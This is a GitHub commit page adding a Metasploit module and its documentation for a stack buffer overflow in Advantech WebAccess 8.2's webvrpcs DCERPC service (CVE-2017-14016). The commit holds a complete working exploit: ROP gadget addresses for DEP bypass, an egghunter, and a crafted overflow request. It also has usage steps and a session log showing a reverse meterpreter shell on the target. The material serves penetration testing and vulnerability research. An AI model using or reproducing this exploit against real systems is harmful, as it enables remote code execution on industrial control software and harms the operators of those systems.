Skip to content

Commit d79b0ad

Browse files
committed
Land rapid7#9286, Advantech WebAccess webvrpcs BOF RCE
2 parents 7f93cca + e7a2dd2 commit d79b0ad

File tree

2 files changed

+249
-0
lines changed

2 files changed

+249
-0
lines changed
Lines changed: 108 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,108 @@
1+
## Vulnerable Application
2+
3+
[Advantech WebAccess <= 8.2](http://advcloudfiles.advantech.com/web/Download/webaccess/8.2/AdvantechWebAccessUSANode8.2_20170330.exe)
4+
5+
## Vulnerability Analysis
6+
7+
The stack overflow happens in sub_10004BC8:
8+
9+
```
10+
.text:10004BC8 ; int __cdecl sub_10004BC8(char *Format, char)
11+
.text:10004BC8 sub_10004BC8 proc near ;
12+
.text:10004BC8 ;
13+
.text:10004BC8
14+
.text:10004BC8 lpWindowName = dword ptr -818h
15+
.text:10004BC8 hWnd = dword ptr -814h
16+
.text:10004BC8 lpClassName = dword ptr -810h
17+
.text:10004BC8 Args = dword ptr -80Ch
18+
.text:10004BC8 lpBaseAddress = dword ptr -808h
19+
.text:10004BC8 hFileMappingObject= dword ptr -804h
20+
.text:10004BC8 Dest = byte ptr -800h
21+
.text:10004BC8 Format = dword ptr 8
22+
.text:10004BC8 arg_4 = byte ptr 0Ch
23+
.text:10004BC8
24+
.text:10004BC8 push ebp
25+
.text:10004BC9 mov ebp, esp
26+
.text:10004BCB sub esp, 818h
27+
.text:10004BD1 mov [ebp+lpWindowName], offset aDebugScreen1 ; "Debug Screen1"
28+
.text:10004BDB mov [ebp+lpClassName], offset aDebugwclass1 ; "debugWClass1"
29+
.text:10004BE5 lea eax, [ebp+arg_4]
30+
.text:10004BE8 mov [ebp+Args], eax
31+
.text:10004BEE mov ecx, [ebp+Args]
32+
.text:10004BF4 push ecx ; Args
33+
.text:10004BF5 mov edx, [ebp+Format]
34+
.text:10004BF8 push edx ; Format
35+
.text:10004BF9 lea eax, [ebp+Dest]
36+
.text:10004BFF push eax ; Dest
37+
.text:10004C00 call ds:vsprintf ; overflow
38+
```
39+
40+
The corresponding IDL is below:
41+
42+
```
43+
[
44+
uuid(5d2b62aa-ee0a-4a95-91ae-b064fdb471fc),
45+
version(1.0)
46+
]
47+
48+
interface target_interface
49+
{
50+
51+
/* opcode: 0x01, address: 0x00401260 */
52+
53+
void sub_401260 (
54+
[in] handle_t arg_1,
55+
[in] long arg_2,
56+
[in] long arg_3,
57+
[in] long arg_4,
58+
[in][ref][size_is(arg_4)] char * arg_5,
59+
[out][ref] long * arg_6
60+
);
61+
62+
}
63+
```
64+
65+
## Verification Steps
66+
67+
1. Start `msfconsole`
68+
2. `use exploits/windows/scada/advantech_webaccess_webvrpcs_bof`
69+
3. `set payload windows/meterpreter/reverse_tcp`
70+
4. `set LHOST XXX.XXX.XXX.XXX`
71+
5. `exploit`
72+
6. **Verify** you get a connect back meterpreter
73+
74+
75+
## Options
76+
77+
None.
78+
79+
## Scenarios
80+
81+
```
82+
saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/advantech.rc
83+
[*] Processing scripts/advantech.rc for ERB directives.
84+
resource (scripts/advantech.rc)> use exploit/windows/scada/advantech_webaccess_webvrpcs_bof
85+
resource (scripts/advantech.rc)> set payload windows/meterpreter/reverse_tcp
86+
payload => windows/meterpreter/reverse_tcp
87+
resource (scripts/advantech.rc)> set RHOST 172.16.175.136
88+
RHOST => 172.16.175.136
89+
resource (scripts/advantech.rc)> set LHOST 172.16.175.1
90+
LHOST => 172.16.175.1
91+
resource (scripts/advantech.rc)> exploit
92+
[*] Started reverse TCP handler on 172.16.175.1:4444
93+
[*] 172.16.175.136:4592 - Binding to 5d2b62aa-ee0a-4a95-91ae-b064fdb471fc:1.0@ncacn_ip_tcp:172.16.175.136[4592] ...
94+
[*] 172.16.175.136:4592 - Bound to 5d2b62aa-ee0a-4a95-91ae-b064fdb471fc:1.0@ncacn_ip_tcp:172.16.175.136[4592] ...
95+
[+] 172.16.175.136:4592 - Got a handle: 0x01ef2558
96+
[*] 172.16.175.136:4592 - Trying target Windows 7 x86 - Advantech WebAccess 8.2-2017.03.31...
97+
[*] Sending stage (179779 bytes) to 172.16.175.136
98+
[*] Meterpreter session 1 opened (172.16.175.1:4444 -> 172.16.175.136:49206) at 2017-12-11 11:32:15 -0600
99+
[*] 172.16.175.136:4592 - The DCERPC service did not reply to our request
100+
101+
meterpreter > shell
102+
Process 5208 created.
103+
Channel 1 created.
104+
Microsoft Windows [Version 6.1.7601]
105+
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
106+
107+
C:\WebAccess\Node>
108+
```
Lines changed: 141 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,141 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
8+
Rank = GoodRanking
9+
10+
include Msf::Exploit::Remote::DCERPC
11+
include Msf::Exploit::Egghunter
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Advantech WebAccess Webvrpcs Service Opcode 80061 Stack Buffer Overflow',
16+
'Description' => %q{
17+
This module exploits a stack buffer overflow in Advantech WebAccess 8.2.
18+
By sending a specially crafted DCERPC request, an attacker could overflow
19+
the buffer and execute arbitrary code.
20+
},
21+
'Author' => [ 'mr_me <mr_me[at]offensive-security[dot]com>' ],
22+
'License' => MSF_LICENSE,
23+
'References' =>
24+
[
25+
[ 'ZDI', '17-938' ],
26+
[ 'CVE', '2017-14016' ],
27+
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-306-02' ]
28+
],
29+
'Privileged' => true,
30+
'DefaultOptions' =>
31+
{
32+
'EXITFUNC' => 'thread',
33+
},
34+
'Payload' =>
35+
{
36+
'Space' => 2048,
37+
'BadChars' => "\x00",
38+
},
39+
'Platform' => 'win',
40+
'Targets' =>
41+
[
42+
[ 'Windows 7 x86 - Advantech WebAccess 8.2-2017.03.31',
43+
{
44+
'Ret' => 0x07036cdc, # pop ebx; add esp, 994; retn 0x14
45+
'Slide' => 0x07048f5b, # retn
46+
'Jmp' => 0x0706067e # pop ecx; pop ecx; ret 0x04
47+
}
48+
],
49+
],
50+
'DisclosureDate' => 'Nov 02 2017',
51+
'DefaultTarget' => 0))
52+
register_options([ Opt::RPORT(4592)])
53+
end
54+
55+
def create_rop_chain()
56+
57+
# this target opts into dep
58+
rop_gadgets =
59+
[
60+
0x020214c6, # POP EAX # RETN [BwKrlAPI.dll]
61+
0x0203a134, # ptr to &VirtualAlloc() [IAT BwKrlAPI.dll]
62+
0x02032fb4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [BwKrlAPI.dll]
63+
0x070738ee, # XCHG EAX,ESI # RETN [BwPAlarm.dll]
64+
0x0201a646, # POP EBP # RETN [BwKrlAPI.dll]
65+
0x07024822, # & push esp # ret [BwPAlarm.dll]
66+
0x070442dd, # POP EAX # RETN [BwPAlarm.dll]
67+
0xffffffff, # Value to negate, will become 0x00000001
68+
0x070467d2, # NEG EAX # RETN [BwPAlarm.dll]
69+
0x0704de61, # PUSH EAX # ADD ESP,0C # POP EBX # RETN [BwPAlarm.dll]
70+
rand_text_alpha(4).unpack('V'),
71+
rand_text_alpha(4).unpack('V'),
72+
rand_text_alpha(4).unpack('V'),
73+
0x02030af7, # POP EAX # RETN [BwKrlAPI.dll]
74+
0xfbdbcbd5, # put delta into eax (-> put 0x00001000 into edx)
75+
0x02029003, # ADD EAX,424442B # RETN [BwKrlAPI.dll]
76+
0x0201234a, # XCHG EAX,EDX # RETN [BwKrlAPI.dll]
77+
0x07078df5, # POP EAX # RETN [BwPAlarm.dll]
78+
0xffffffc0, # Value to negate, will become 0x00000040
79+
0x070467d2, # NEG EAX # RETN [BwPAlarm.dll]
80+
0x07011e60, # PUSH EAX # ADD AL,5B # POP ECX # RETN 0x08 [BwPAlarm.dll]
81+
0x0706fe66, # POP EDI # RETN [BwPAlarm.dll]
82+
rand_text_alpha(4).unpack('V'),
83+
rand_text_alpha(4).unpack('V'),
84+
0x0703d825, # RETN (ROP NOP) [BwPAlarm.dll]
85+
0x0202ca65, # POP EAX # RETN [BwKrlAPI.dll]
86+
0x90909090, # nop
87+
0x07048f5a, # PUSHAD # RETN [BwPAlarm.dll]
88+
].flatten.pack("V*")
89+
return rop_gadgets
90+
end
91+
92+
def exploit
93+
connect
94+
handle = dcerpc_handle('5d2b62aa-ee0a-4a95-91ae-b064fdb471fc', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
95+
print_status("Binding to #{handle} ...")
96+
dcerpc_bind(handle)
97+
print_status("Bound to #{handle} ...")
98+
99+
# send the request to get the handle
100+
resp = dcerpc.call(0x4, [0x02000000].pack('V'))
101+
handle = resp.last(4).unpack('V').first
102+
print_good("Got a handle: 0x%08x" % handle)
103+
egg_options = { :eggtag => "0day" }
104+
egghunter, egg = generate_egghunter(payload.encoded, payload_badchars, egg_options)
105+
106+
# apparently this is called a ret chain
107+
overflow = [target['Slide']].pack('V')
108+
overflow << [target['Slide']].pack('V')
109+
overflow << [target['Slide']].pack('V')
110+
overflow << [target['Slide']].pack('V')
111+
overflow << [target['Slide']].pack('V')
112+
overflow << [target['Slide']].pack('V')
113+
overflow << [target['Jmp']].pack('V')
114+
overflow << [target['Ret']].pack('V')
115+
overflow << [target['Slide']].pack('V')
116+
overflow << [target['Slide']].pack('V')
117+
overflow << [target['Slide']].pack('V')
118+
overflow << [target['Slide']].pack('V')
119+
overflow << [target['Slide']].pack('V')
120+
overflow << [target['Slide']].pack('V')
121+
overflow << create_rop_chain()
122+
overflow << egghunter
123+
overflow << egg
124+
overflow << rand_text_alpha(0x1000-overflow.length)
125+
126+
# sorry but I dont like msf's ndr class.
127+
sploit = [handle].pack('V')
128+
sploit << [0x000138bd].pack('V') # opcode we are attacking
129+
sploit << [0x00001000].pack('V') # size to copy
130+
sploit << [0x00001000].pack('V') # size of string
131+
sploit << overflow
132+
print_status("Trying target #{target.name}...")
133+
begin
134+
dcerpc_call(0x1, sploit)
135+
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
136+
ensure
137+
disconnect
138+
end
139+
handler
140+
end
141+
end

0 commit comments

Comments
 (0)